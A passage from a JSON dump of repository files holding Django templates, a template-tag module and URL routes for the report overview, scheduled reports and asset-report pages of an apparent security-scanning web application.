%}disabled{% endif %}>\n                            </td>\n                            <td class=\"report_name nowrap\">\n                                <a id=\"report_name_{{ report.report.reference|slugify }}\"\n                                   href=\"{% url \"view_report\" organization.code %}?report_id={{ report.report.reference }}&observed_at={{ report.report.observed_at|date:\"Y-m-d H:i:s:u\" }}\"\n                                   title=\"{% translate \"Shows parent report details\" %}\">{{ report.report.name }}</a>\n                            </td>\n                            <td class=\"report_types\">\n                                <ul class=\"tags horizontal-view\">\n                                    {% if report.report.report_type == \"concatenated-report\" %}\n                                        {% if report.report_type_summary %}\n                                            {% for report_type, total_objects in report.report_type_summary.items %}\n                                                {% if forloop.counter0 < 2 %}\n                                                    <li>\n                                                        <span class=\"label tags-color-{{ report_type|get_report_type_label_style }}\">{{ report_type|get_report_type_name }}</span>\n                                                    </li>\n                                                {% endif %}\n                                                {% if forloop.counter0 == 2 %}\n                                                    <li>\n                                                        <span class=\"label tags-color-grey-2\">+ {{ report.report_type_summary|length|add:\"-2\" }}</span>\n                                                    </li>\n                                                {% endif %}\n                                            {% endfor %}\n                                        {% else %}\n                                            -\n                                        {% endif %}\n                                    {% else %}\n                                        <li>\n                                            <span class=\"label tags-color-{{ report.report.report_type|get_report_type_label_style }}\">{{ report.report.report_type|get_report_type_name }}</span>\n                                        </li>\n                                    {% endif %}\n                                </ul>\n                            </td>\n                            <td class=\"report_oois\">\n                                {% if report.total_objects == 1 %}\n                                    <a href=\"{% ooi_url \"ooi_detail\" report.input_oois.0 organization.code query=ooi.mandatory_fields %}\">{{ report.input_oois.0|human_readable }}</a>\n                                {% else %}\n                                    {{ report.total_objects }}\n                                {% endif %}\n                            </td>\n                            <td class=\"nowrap report_reference_date\">{{ report.report.observed_at|date }}</td>\n                            <td class=\"nowrap report_creation_date\">{{ report.report.date_generated }}</td>\n                            <td class=\"nowrap actions sticky-cell\">\n                                {% if report.total_asset_reports >= 1 %}\n                                    <button type=\"button\"\n                                            class=\"expando-button icon ti-chevron-down\"\n                                            data-icon-open-class=\"icon ti-chevron-down\"\n                                            data-icon-close-class=\"icon ti-chevron-up\"\n                                            data-close-label=\"{% translate \"Close asset report object details\" %}\"\n                                            aria-expanded=\"false\">\n                                        {% translate \"Open asset report object details\" %}\n                                    </button>\n                                {% endif %}\n                            </td>\n                        </tr>\n                        {% if report.total_asset_reports >= 1 %}\n                            <tr class=\"expando-row\">\n                                <td colspan=\"6\">\n                                    <table>\n                                        <caption class=\"visually-hidden\">{% translate \"Asset reports details\" %}:</caption>\n                                        <h5>{% translate \"Report types\" %}</h5>\n                                        <p>\n                                            {% blocktranslate count counter=report.total_asset_reports trimmed %}\n                                                This report consists of {{ counter }} asset report with the following report type and object:\n                                            {% plural %}\n                                                This report consists of {{ counter }} asset reports with the following report types and objects:\n                                            {% endblocktranslate %}\n                                        </p>\n                                        <thead>\n                                            <tr>\n                                                <th scope=\"col\">{% translate \"Report type\" %}</th>\n                                                <th scope=\"col\">{% translate \"Objects\" %}</th>\n                                            </tr>\n                                        </thead>\n                                        <tbody>\n                                            {% for report_type, total_objects in report.report_type_summary.items %}\n                                                <tr>\n                                                    <td>\n                                                        <ul class=\"tags horizontal-view\">\n                                                            <li>\n                                                                <span class=\"label tags-color-{{ report_type|get_report_type_label_style }}\">{{ report_type|get_report_type_name }}</span>\n                                                            </li>\n                                                        </ul>\n                                                    </td>\n                                                    <td>{{ total_objects }}</td>\n                                                </tr>\n                                            {% endfor %}\n                                        </tbody>\n                                    </table>\n                                    <table>\n                                        <h5>\n                                            {% translate \"Asset reports\" %}\n                                            ({{ report.asset_reports|length }}/{{ report.total_asset_reports }})\n                                        </h5>\n                                        <thead>\n                                            <tr>\n                                                <th scope=\"col\">{% translate \"Report type\" %}</th>\n                                                <th scope=\"col\">{% translate \"Object\" %}</th>\n                                                <th scope=\"col\">{% translate \"Report name\" %}</th>\n                                            </tr>\n                                        </thead>\n                                        <tbody>\n                                            {% for asset_report in report.asset_reports %}\n                                                <tr>\n                                                    <td>\n                                                        <ul class=\"tags horizontal-view\">\n                                                            <li>\n                                                                <span class=\"label tags-color-{{ asset_report.report_type|get_report_type_label_style }}\">{{ asset_report.report_type|get_report_type_name }}</span>\n                                                            </li>\n                                                        </ul>\n                                                    </td>\n                                                    <td>\n                                                        <a href=\"{% ooi_url 'ooi_detail' asset_report.input_ooi organization.code %}\">{{ asset_report.input_ooi|human_readable }}</a>\n                                                    </td>\n                                                    <td>\n                                                        <a href=\"{% url \"view_report\" organization.code %}?asset_report_id={{ asset_report }}&observed_at={{ asset_report.observed_at|date:\"Y-m-d H:i:s:u\" }}\"\n                                                           title=\"{% translate \"Shows asset report details\" %}\">{{ asset_report.name }}</a>\n                                                    </td>\n                                                </tr>\n                                            {% endfor %}\n                                        </tbody>\n                                    </table>\n                                    <div class=\"button-container\">\n                                        {% if report.total_asset_reports > 5 %}\n                                            <a href=\"{% url \"subreports\" organization.code %}?report_id={{ report.report.reference }}\"\n                                               class=\"button\">{% translate \"View all asset reports\" %}</a>\n                                        {% endif %}\n                                    </div>\n                                </td>\n                            </tr>\n                        {% endif %}\n                    {% endfor %}\n                </tbody>\n            </table>\n        </form>\n    </div>\n{% else %}\n    <p>{% translate \"No reports have been generated yet.\" %}</p>\n{% endif %}\n{% block html_at_end_body %}\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n    <script src=\"{% static \"js/grabSelectionOnModalOpen.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n    <script src=\"{% static \"js/renameReports.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/report_overview_header.html",
    "content": "{% load i18n %}\n\n<div class=\"introduction\">\n    <div>\n        <h1>{% translate \"Reports\" %}</h1>\n        <p>{% translate \"An overview of reports that are scheduled or have been generated.\" %}</p>\n    </div>\n    <div class=\"horizontal-view toolbar\">\n        {% include \"partials/new_report_action_button.html\" %}\n\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/report_overview_navigation.html",
    "content": "{% load i18n %}\n\n<div>\n    <nav class=\"tabs\" aria-label=\"{% translate \"Plugins Navigation\" %}\">\n        <ul>\n            <li {% if active == \"scheduled\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% url 'scheduled_reports' organization.code %}\">{% translate \"Scheduled\" %}</a>\n            </li>\n            <li {% if active == \"history\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% url 'report_history' organization.code %}\">{% translate \"History\" %}</a>\n            </li>\n        </ul>\n    </nav>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/scheduled_reports.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"katalogus\">\n        <section>\n            {% include \"report_overview/report_overview_header.html\" %}\n            {% include \"report_overview/report_overview_navigation.html\" with active=\"scheduled\" %}\n\n            <div class=\"horizontal-scroll\">\n                <h2>{% translate \"Scheduled reports\" %}</h2>\n                <p>\n                    {% translate \"On this page you can see all the reports that are or have been scheduled. To schedule a report, select a start date and recurrence while generating a report.\" %}\n                </p>\n                {% include \"report_overview/scheduled_reports_table.html\" %}\n                {% include \"partials/list_paginator.html\" %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/scheduled_reports_table.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n{% load report_extra %}\n{% load component_tags %}\n\n{% if scheduled_reports %}\n    <p class=\"de-emphasized\">\n        {% blocktranslate with length=scheduled_reports|length total=total_report_schedules trimmed %}\n            Showing {{ length }} of {{ total }} schedules\n        {% endblocktranslate %}\n    </p>\n    <div class=\"horizontal-scroll sticky-column\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Scheduled reports:\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Name\" %}</th>\n                    <th scope=\"col\">{% translate \"Report type\" %}</th>\n                    <th scope=\"col\">{% translate \"Scheduled for\" %}</th>\n                    <th scope=\"col\">{% translate \"Recurrence\" %}</th>\n                    <th class=\"nowrap\" scope=\"col\">{% translate \"Schedule status\" %}</th>\n                    <th scope=\"col\"></th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for schedule in scheduled_reports %}\n                    {% if schedule.recipe %}\n                        <tr>\n                            <td>{{ schedule.recipe.report_name_format }}</td>\n                            <td>\n                                <ul class=\"tags horizontal-view\">\n                                    {% if schedule.recipe.report_type == \"aggregate-organisation-report\" %}\n                                        <li>\n                                            <span class=\"label tags-color-{{ schedule.recipe.report_type|get_report_type_label_style }}\">\n                                            {{ schedule.recipe.report_type|get_report_type_name }}</span>\n                                        </li>\n                                    {% else %}\n                                        {% for report_type in schedule.recipe.asset_report_types %}\n                                            {% if forloop.counter0 < 2 %}\n                                                <li>\n                                                    <span class=\"label tags-color-{{ report_type|get_report_type_label_style }}\">{{ report_type|get_report_type_name }}</span>\n                                                </li>\n                                            {% endif %}\n                                            {% if forloop.counter0 == 2 %}\n                                                <li class=\"label tags-color-grey-2\">+ {{ schedule.recipe.asset_report_types|length|add:\"-2\" }}</li>\n                                            {% endif %}\n                                        {% endfor %}\n                                    {% endif %}\n                                </ul>\n                            </td>\n                            <td class=\"nowrap\">{{ schedule.deadline_at }}</td>\n                            <td>\n                                {% if schedule.cron is None %}\n                                    {% translate \"Once\" %}\n                                {% else %}\n                                    {{ schedule.cron|get_cron_description }}\n                                {% endif %}\n                            </td>\n                            <td class=\"nowrap\">\n                                {% if schedule.enabled %}\n                                    <span class=\"label system-tag color-2\">{% translate \"Enabled\" %}</span>\n                                {% else %}\n                                    <span class=\"label system-tag color-3\">{% translate \"Disabled\" %}</span>\n                                {% endif %}\n                            </td>\n                            <td class=\"nowrap actions sticky-cell\">\n                                <button class=\"expando-button\"\n                                        data-icon-open-class=\"icon ti-chevron-down\"\n                                        data-icon-close-class=\"icon ti-chevron-up\"\n                                        data-close-label=\"{% translate \"Close details\" %}\">\n                                    {% translate \"Open details\" %}\n                                </button>\n                            </td>\n                        </tr>\n                        <tr class=\"expando-row\">\n                            <td colspan=\"6\">\n                                {% if schedule.reports %}\n                                    <h5>{% translate \"Recent reports\" %}</h5>\n                                    <table>\n                                        <caption class=\"visually-hidden\">{% translate \"Scheduled Reports:\" %}</caption>\n                                        <thead>\n                                            <tr>\n                                                <th scope=\"col\" class=\"nowrap\">{% translate \"Name\" %}</th>\n                                                <th scope=\"col\">{% translate \"Input objects\" %}</th>\n                                                <th scope=\"col\" class=\"nowrap\">{% translate \"Reference date\" %}</th>\n                                            </tr>\n                                        </thead>\n                                        <tbody>\n                                            {% for report in schedule.reports %}\n                                                <tr>\n                                                    <td>\n                                                        {% if report.input_oois|length == 1 %}\n                                                            <a href=\"{% url \"view_report\" organization.code %}?asset_report_id={{ report.input_oois.0.reference }}&observed_at={{ report.input_oois.0.observed_at|date:\"Y-m-d H:i:s:u\" }}\"\n                                                               title=\"{% translate \"Show report details\" %}\">{{ report.input_oois.0.name }}</a>\n                                                        {% else %}\n                                                            <a href=\"{% url \"view_report\" organization.code %}?report_id={{ report.reference }}&observed_at={{ report.observed_at|date:\"Y-m-d H:i:s:u\" }}\"\n                                                               title=\"{% translate \"Show report details\" %}\">{{ report.name }}</a>\n                                                        {% endif %}\n                                                    </td>\n                                                    <td>\n                                                        {% if report.input_oois|length == 1 or schedule.recipe.input_recipe.input_oois|length == 1 %}\n                                                            {% with ooi=report.input_oois.0 %}\n                                                                <a href=\"{% ooi_url 'ooi_detail' ooi organization.code query=ooi.mandatory_fields %}\">{{ ooi|human_readable }}</a>\n                                                            {% endwith %}\n                                                        {% else %}\n                                                            {{ schedule.total_oois }} {% translate \"objects\" %}\n                                                        {% endif %}\n                                                    </td>\n                                                    <td>{{ report.reference_date|date }}</td>\n                                                </tr>\n                                            {% endfor %}\n                                        </tbody>\n                                    </table>\n                                {% endif %}\n                                <div class=\"horizontal-view toolbar\">\n                                    <div class=\"button-container\">\n                                        {% if schedule.enabled %}\n                                            <a class=\"button ghost\"\n                                               href=\"{% ooi_url \"ooi_edit\" schedule.recipe organization.code %}\"><span aria-hidden=\"true\" class=\"icon ti-edit action-button\"></span>{% translate \"Edit report recipe\" %}</a>\n                                            {% if perms.tools.can_enable_disable_schedule %}\n                                                <a class=\"button ghost destructive\"\n                                                   href=\"#disable-schedule-modal-{{ schedule.recipe.recipe_id }}\">{% translate \"Disable schedule\" %}</a>\n                                                {% include \"report_overview/modal_partials/enable_disable_schedule_modal.html\" with recipe_id=schedule.recipe.recipe_id|stringformat:\"s\" recipe_name=schedule.recipe.report_name_format %}\n\n                                            {% endif %}\n                                        {% else %}\n                                            {% if perms.tools.can_enable_disable_schedule %}\n                                                <form class=\"inline\"\n                                                      method=\"post\"\n                                                      action=\"{% url \"enable_disable_scheduled_reports\" organization.code %}\">\n                                                    {% csrf_token %}\n                                                    <input type=\"hidden\"\n                                                           name=\"recipe_id\"\n                                                           value=\"{{ schedule.recipe.recipe_id }}\" />\n                                                    <input type=\"hidden\"\n                                                           name=\"report_name_format\"\n                                                           value=\"{{ schedule.recipe.report_name_format }}\" />\n                                                    <button type=\"submit\">{% translate \"Enable schedule\" %}</button>\n                                                </form>\n                                            {% endif %}\n                                            <a class=\"button ghost\"\n                                               href=\"{% ooi_url \"ooi_edit\" schedule.recipe organization.code %}\"><span aria-hidden=\"true\" class=\"icon ti-edit action-button\"></span>{% translate \"Edit report recipe\" %}</a>\n                                        {% endif %}\n                                        {% if perms.tools.can_enable_disable_schedule %}\n                                            <a class=\"button ghost destructive\"\n                                               href=\"#delete-recipe-modal-{{ schedule.recipe.recipe_id }}\">{% translate \"Delete\" %}</a>\n                                            {% include \"report_schedules/delete_recipe_modal.html\" with recipe_id=schedule.recipe.recipe_id|stringformat:\"s\" recipe_name=schedule.recipe.report_name_format %}\n\n                                        {% endif %}\n                                    </div>\n                                </div>\n                            </td>\n                        </tr>\n                    {% endif %}\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% else %}\n    <p>{% translate \"No scheduled reports have been generated yet.\" %}</p>\n{% endif %}\n{% block html_at_end_body %}\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/subreports.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"katalogus\">\n        <section>\n            {% include \"report_overview/subreports_header.html\" %}\n\n            <div>\n                <div class=\"toolbar\">\n                    <p class=\"de-emphasized\">\n                        {% blocktranslate with length=asset_reports|length total=total_oois trimmed %}\n                            Showing {{ length }} of {{ total }} reports\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n                {% include \"report_overview/subreports_table.html\" %}\n                {% include \"partials/list_paginator.html\" %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/subreports_header.html",
    "content": "{% load i18n %}\n\n<div>\n    <div class=\"horizontal-view\">\n        <a class=\"button ghost\"\n           href=\"{% url 'report_history' organization.code %}\">\n            <span class=\"icon ti-chevron-left\"></span>{% translate \"Back to Reports History\" %}\n        </a>\n    </div>\n    <div>\n        <h1>{% translate \"Asset reports\" %}</h1>\n        <p>\n            {% translate \"An overview of all underlying reports of\" %}\n            <a href=\"{% url \"view_report\" organization.code %}?report_id={{ report_ooi }}&amp;observed_at={{ report_ooi.observed_at|date:\"Y-m-d H:i:s:u\" }}\"\n               title=\"{% translate \"Shows report details\" %}\">{{ report_ooi.name }}</a>\n        </p>\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/report_overview/subreports_table.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n{% load report_extra %}\n{% load ooi_extra %}\n\n<div class=\"horizontal-scroll sticky-column\">\n    <table>\n        <caption class=\"visually-hidden\">{% translate \"Asset reports\" %}:</caption>\n        <thead>\n            <tr>\n                <th scope=\"col\">{% translate \"Name\" %}</th>\n                <th scope=\"col\">{% translate \"Report type\" %}</th>\n                <th scope=\"col\">{% translate \"Input Object\" %}</th>\n                <th scope=\"col\">{% translate \"Reference date\" %}</th>\n                <th scope=\"col\">{% translate \"Creation date\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            {% for asset_report in asset_reports %}\n                <tr>\n                    <td>\n                        <a href=\"{% url \"view_report\" organization.code %}?asset_report_id={{ asset_report.reference }}&observed_at={{ asset_report.observed_at|date:\"Y-m-d H:i:s:u\" }}\"\n                           title=\"{% translate \"Shows report details\" %}\">{{ asset_report.name }}</a>\n                    </td>\n                    <td>\n                        <ul class=\"tags horizontal-view\">\n                            <li>\n                                <span class=\"label tags-color-{{ asset_report.report_type|get_report_type_label_style }}\">{{ asset_report.report_type|get_report_type_name }}</span>\n                            </li>\n                        </ul>\n                    </td>\n                    <td>\n                        <a href=\"{% ooi_url \"ooi_detail\" asset_report.input_ooi organization.code %}\">{{ asset_report.input_ooi|human_readable }}</a>\n                    </td>\n                    <td>{{ asset_report.observed_at|date }}</td>\n                    <td>{{ asset_report.date_generated }}</td>\n                </tr>\n            {% endfor %}\n        </tbody>\n    </table>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/report_schedules/delete_recipe_modal.html",
    "content": "{% load i18n %}\n\n{% with form_id=\"delete-form-\"|add:recipe_id %}\n    {% component \"modal\" size=\"dialog-small\" modal_id=\"delete-recipe-modal-\"|add:recipe_id %}\n    {% fill \"header\" %}{% translate \"Delete report recipe\" %}{% endfill %}\n    {% fill \"content\" %}\n    <p>\n        {% blocktranslate trimmed with name=recipe_name %}\n            Are you sure you want to delete report recipe \"{{ name }}\"?\n        {% endblocktranslate %}\n    </p>\n    <p>\n        {% blocktranslate trimmed %}\n            Deleting this report recipe means it will be permanently deleted.\n            It will not be possible anymore to see or enable the schedule.\n            You will find previously generated reports in the report history tab.\n        {% endblocktranslate %}\n    </p>\n    <form id={{ form_id }} class=\"hidden\" method=\"post\">\n        {% csrf_token %}\n        <input type=\"hidden\" name=\"recipe_id\" value=\"{{ recipe_id }}\" />\n    </form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\" form={{ form_id }} class=\"destructive\">{% translate \"Delete report recipe\" %}\n</button>\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n{% endwith %}\n"
  },
  {
    "path": "rocky/reports/templates/summary/ooi_selection.html",
    "content": "{% load i18n %}\n\n<div class=\"horizontal-scroll\">\n    <table>\n        <caption class=\"visually-hidden\">{% translate \"Objects\" %}</caption>\n        <thead>\n            <tr>\n                <th>{% translate \"Object\" %}</th>\n                <th>{% translate \"Type\" %}</th>\n                <th>{% translate \"Clearance level\" %}</th>\n                <th>{% translate \"Clearance type\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            {% for ooi in oois %}\n                <tr>\n                    <td>{{ ooi.human_readable }}</td>\n                    <td>{{ ooi.object_type }}</td>\n                    <td>\n                        {% include \"partials/scan_level_indicator.html\" with value=ooi.scan_profile.level.value custom_class=\"left\" %}\n\n                    </td>\n                    <td>{{ ooi.scan_profile.scan_profile_type|title }}</td>\n                </tr>\n            {% endfor %}\n        </tbody>\n    </table>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/summary/report_asset_overview.html",
    "content": "{% load i18n %}\n\n<section id=\"asset-overview\">\n    <div>\n        <h2>{% translate \"Asset overview\" %}</h2>\n        {% if oois %}\n            <h3>{% translate \"Selected objects\" %} ({{ oois|length }})</h3>\n            <p>\n                {% blocktranslate trimmed %}\n                    The objects listed in the table below were used to generate this report.\n                    For each object in the table it additionally shows the clearance level and whether or not the object was\n                    added by a user ('Declared') or indirectly identified through another service or system ('Inherited').\n                {% endblocktranslate %}\n            </p>\n            {% include \"summary/ooi_selection.html\" %}\n\n        {% else %}\n            <h3>{% translate \"Selected objects\" %}</h3>\n            <p>{% translate \"No objects found.\" %}</p>\n        {% endif %}\n        {% if report_types %}\n            <h3>{% translate \"Selected Report Types\" %} ({{ report_types|length }})</h3>\n            <p>\n                {% blocktranslate trimmed %}\n                    The table below shows which reports were chosen to generate this report,\n                    including a report description.\n                {% endblocktranslate %}\n            </p>\n            <div class=\"horizontal-scroll\">\n                <table>\n                    <caption class=\"visually-hidden\">{% translate \"Selected Report Types\" %}</caption>\n                    <thead>\n                        <tr>\n                            <th>{% translate \"Report type\" %}</th>\n                            <th>{% translate \"Description\" %}</th>\n                        </tr>\n                    </thead>\n                    <tbody>\n                        {% for report_type in report_types %}\n                            <tr>\n                                <td class=\"nowrap\">\n                                    <ul class=\"tags horizontal-view\">\n                                        <li>\n                                            <span class=\"label tags-color-{{ report_type.label_style }}\">{{ report_type.name }}</span>\n                                        </li>\n                                    </ul>\n                                </td>\n                                <td>{{ report_type.description }}</td>\n                            </tr>\n                        {% endfor %}\n                    </tbody>\n                </table>\n            </div>\n        {% else %}\n            <h3>{% translate \"Selected Report Types\" %}</h3>\n            <p>{% translate \"No report types found.\" %}</p>\n        {% endif %}\n        {{ data }}\n        {% include \"summary/selected_plugins.html\" %}\n\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/templates/summary/selected_plugins.html",
    "content": "{% load i18n %}\n\n{% if plugins %}\n    <h3 id=\"selected-plugins\">{% translate \"Plugins\" %} ({{ plugins|length }})</h3>\n    <p>\n        {% blocktranslate trimmed %}\n            The table below shows all required or optional plugins for the selected reports.\n        {% endblocktranslate %}\n    </p>\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Required and optional plugins\" %}</caption>\n            <thead>\n                <tr>\n                    <th class=\"nowrap\">{% translate \"Plugin enabled\" %}</th>\n                    <th class=\"nowrap\">{% translate \"Plugin options\" %}</th>\n                    <th class=\"nowrap\">{% translate \"Plugin name\" %}</th>\n                    <th class=\"nowrap\">{% translate \"Plugin scan level\" %}</th>\n                    <th class=\"nowrap actions\">{% translate \"Details\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for plugin in plugins %}\n                    <tr>\n                        <td>\n                            {% if plugin.enabled %}\n                                <span class=\"icon positive\">{% translate \"Enabled.\" %}</span>\n                            {% else %}\n                                {% if plugin.required %}\n                                    <span class=\"icon failed\">{% translate \"Disabled\" %} {% translate \"required\" %}</span>\n                                {% else %}\n                                    <span class=\"icon incomplete\">{% translate \"Disabled\" %} {% translate \"optional\" %}</span>\n                                {% endif %}\n                            {% endif %}\n                        </td>\n                        <td>\n                            {% if plugin.required %}\n                                {% translate \"required\" %}\n                            {% else %}\n                                {% translate \"optional\" %}\n                            {% endif %}\n                        </td>\n                        <td>{{ plugin.name }}</td>\n                        <td>\n                            {% include \"partials/scan_level_indicator.html\" with value=plugin.scan_level custom_class=\"left\" %}\n\n                        </td>\n                        <td class=\"actions\">\n                            <button class=\"expando-button\"\n                                    data-icon-open-class=\"icon ti-chevron-down\"\n                                    data-icon-close-class=\"icon ti-chevron-up\"\n                                    data-close-label=\"{% translate \"Close details\" %}\">\n                                {% translate \"Open details\" %}\n                            </button>\n                        </td>\n                    </tr>\n                    <tr class=\"expando-row\">\n                        <td colspan=\"6\">\n                            <table>\n                                <caption class=\"visually-hidden\">{% translate \"Plugin extra info\" %}</caption>\n                                <thead>\n                                    <tr>\n                                        <th class=\"nowrap\">{% translate \"Plugin type\" %}</th>\n                                        <th class=\"nowrap\">{% translate \"Plugin description\" %}</th>\n                                    </tr>\n                                </thead>\n                                <tbody>\n                                    <td>\n                                        <span class=\"label-plugin-type {{ plugin.type }}\">{{ plugin.type|title }}</span>\n                                    </td>\n                                    <td>{{ plugin.description }}</td>\n                                </tbody>\n                            </table>\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% else %}\n    <h3 id=\"selected-plugins\">{% translate \"Plugins\" %}</h3>\n    {% translate \"There are no required or optional plugins needed for the selected report types.\" %}\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/templates/summary/service_health.html",
    "content": "{% load i18n %}\n\n<table>\n    <caption class=\"visually-hidden\">{% translate \"Services\" %}</caption>\n    <thead>\n        <tr>\n            <th>{% translate \"Service\" %}</th>\n            <th>{% translate \"Version\" %}</th>\n        </tr>\n    </thead>\n    <tbody>\n        {% for check in health_checks %}\n            <tr>\n                <td>{{ check.service }}</td>\n                <td>{{ check.version }}</td>\n            </tr>\n        {% endfor %}\n    </tbody>\n</table>\n"
  },
  {
    "path": "rocky/reports/templatetags/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/templatetags/report_extra.py",
    "content": "from typing import Any\n\nfrom cron_descriptor import get_description\nfrom django import template\n\nfrom reports.report_types.helpers import get_report_by_id\n\nregister = template.Library()\n\n\n@register.filter\ndef sum_attribute(checks, attribute):\n    return sum(int(check[attribute]) for check in checks)\n\n\n@register.filter\ndef sum_findings(data: dict[str, Any]) -> int:\n    return sum(int(ip[\"summary\"][\"total_findings\"]) for ip in data.values())\n\n\n@register.filter\ndef get_report_type_name(report_type_id: str):\n    return get_report_by_id(report_type_id).name\n\n\n@register.filter\ndef get_report_type_label_style(report_type_id: str):\n    return get_report_by_id(report_type_id).label_style\n\n\n@register.filter\ndef get_cron_description(cron_expression: str) -> str:\n    return get_description(cron_expression)\n"
  },
  {
    "path": "rocky/reports/urls.py",
    "content": "from django.urls import path\n\nfrom reports.views.aggregate_report import (\n    ExportSetupAggregateReportView,\n    LandingAggregateReportView,\n    OOISelectionAggregateReportView,\n    ReportTypesSelectionAggregateReportView,\n    SaveAggregateReportView,\n    SetupScanAggregateReportView,\n)\nfrom reports.views.base import ReportsLandingView, ViewReportPDFView, ViewReportView\nfrom reports.views.generate_report import (\n    ExportSetupGenerateReportView,\n    LandingGenerateReportView,\n    OOISelectionGenerateReportView,\n    ReportTypesSelectionGenerateReportView,\n    SaveGenerateReportView,\n    SetupScanGenerateReportView,\n)\nfrom reports.views.multi_report import (\n    ExportSetupMultiReportView,\n    LandingMultiReportView,\n    MultiReportView,\n    OOISelectionMultiReportView,\n    ReportTypesSelectionMultiReportView,\n    SetupScanMultiReportView,\n)\nfrom reports.views.report_overview import (\n    ReportHistoryView,\n    ScheduledReportsEnableDisableView,\n    ScheduledReportsView,\n    SubreportView,\n)\n\n# Report overview urls\nurlpatterns = [\n    path(\"\", ReportsLandingView.as_view(), name=\"reports\"),\n    path(\"scheduled-reports/\", ScheduledReportsView.as_view(), name=\"scheduled_reports\"),\n    path(\n        \"scheduled-reports/enable-disable\",\n        ScheduledReportsEnableDisableView.as_view(),\n        name=\"enable_disable_scheduled_reports\",\n    ),\n    path(\"report-history/\", ReportHistoryView.as_view(), name=\"report_history\"),\n    path(\"report-history/subreports\", SubreportView.as_view(), name=\"subreports\"),\n]\n\n# View report urls\nurlpatterns += [\n    path(\"view\", ViewReportView.as_view(), name=\"view_report\"),\n    path(\"view/pdf/\", ViewReportPDFView.as_view(), name=\"view_report_pdf\"),\n    path(\"view/json/\", ViewReportView.as_view(), name=\"view_report_json\"),\n]\n\n# Generate report urls\nurlpatterns += [\n    path(\"generate-report/\", LandingGenerateReportView.as_view(), name=\"generate_report_landing\"),\n    path(\"generate-report/select/oois/\", OOISelectionGenerateReportView.as_view(), name=\"generate_report_select_oois\"),\n    path(\n        \"generate-report/select/report-types/\",\n        ReportTypesSelectionGenerateReportView.as_view(),\n        name=\"generate_report_select_report_types\",\n    ),\n    path(\"generate-report/setup-scan/\", SetupScanGenerateReportView.as_view(), name=\"generate_report_setup_scan\"),\n    path(\"generate-report/export-setup/\", ExportSetupGenerateReportView.as_view(), name=\"generate_report_export_setup\"),\n    path(\"generate-report/view/\", SaveGenerateReportView.as_view(), name=\"generate_report_view\"),\n]\n\n# Aggregate report urls\nurlpatterns += [\n    path(\"aggregate-report/\", LandingAggregateReportView.as_view(), name=\"aggregate_report_landing\"),\n    path(\n        \"aggregate-report/select/oois/\", OOISelectionAggregateReportView.as_view(), name=\"aggregate_report_select_oois\"\n    ),\n    path(\n        \"aggregate-report/select/report-types/\",\n        ReportTypesSelectionAggregateReportView.as_view(),\n        name=\"aggregate_report_select_report_types\",\n    ),\n    path(\"aggregate-report/setup-scan/\", SetupScanAggregateReportView.as_view(), name=\"aggregate_report_setup_scan\"),\n    path(\n        \"aggregate-report/export-setup/\", ExportSetupAggregateReportView.as_view(), name=\"aggregate_report_export_setup\"\n    ),\n    path(\"aggregate-report/view/\", SaveAggregateReportView.as_view(), name=\"aggregate_report_save\"),\n]\n\n# Multi report urls\nurlpatterns += [\n    path(\"multi-report/\", LandingMultiReportView.as_view(), name=\"multi_report_landing\"),\n    path(\"multi-report/select/oois/\", OOISelectionMultiReportView.as_view(), name=\"multi_report_select_oois\"),\n    path(\n        \"multi-report/select/report-types/\",\n        ReportTypesSelectionMultiReportView.as_view(),\n        name=\"multi_report_select_report_types\",\n    ),\n    path(\"multi-report/setup-scan/\", SetupScanMultiReportView.as_view(), name=\"multi_report_setup_scan\"),\n    path(\"multi-report/export-setup/\", ExportSetupMultiReportView.as_view(), name=\"multi_report_export_setup\"),\n    path(\"multi-report/view/\", MultiReportView.as_view(), name=\"multi_report_view\"),\n]\n"
  },
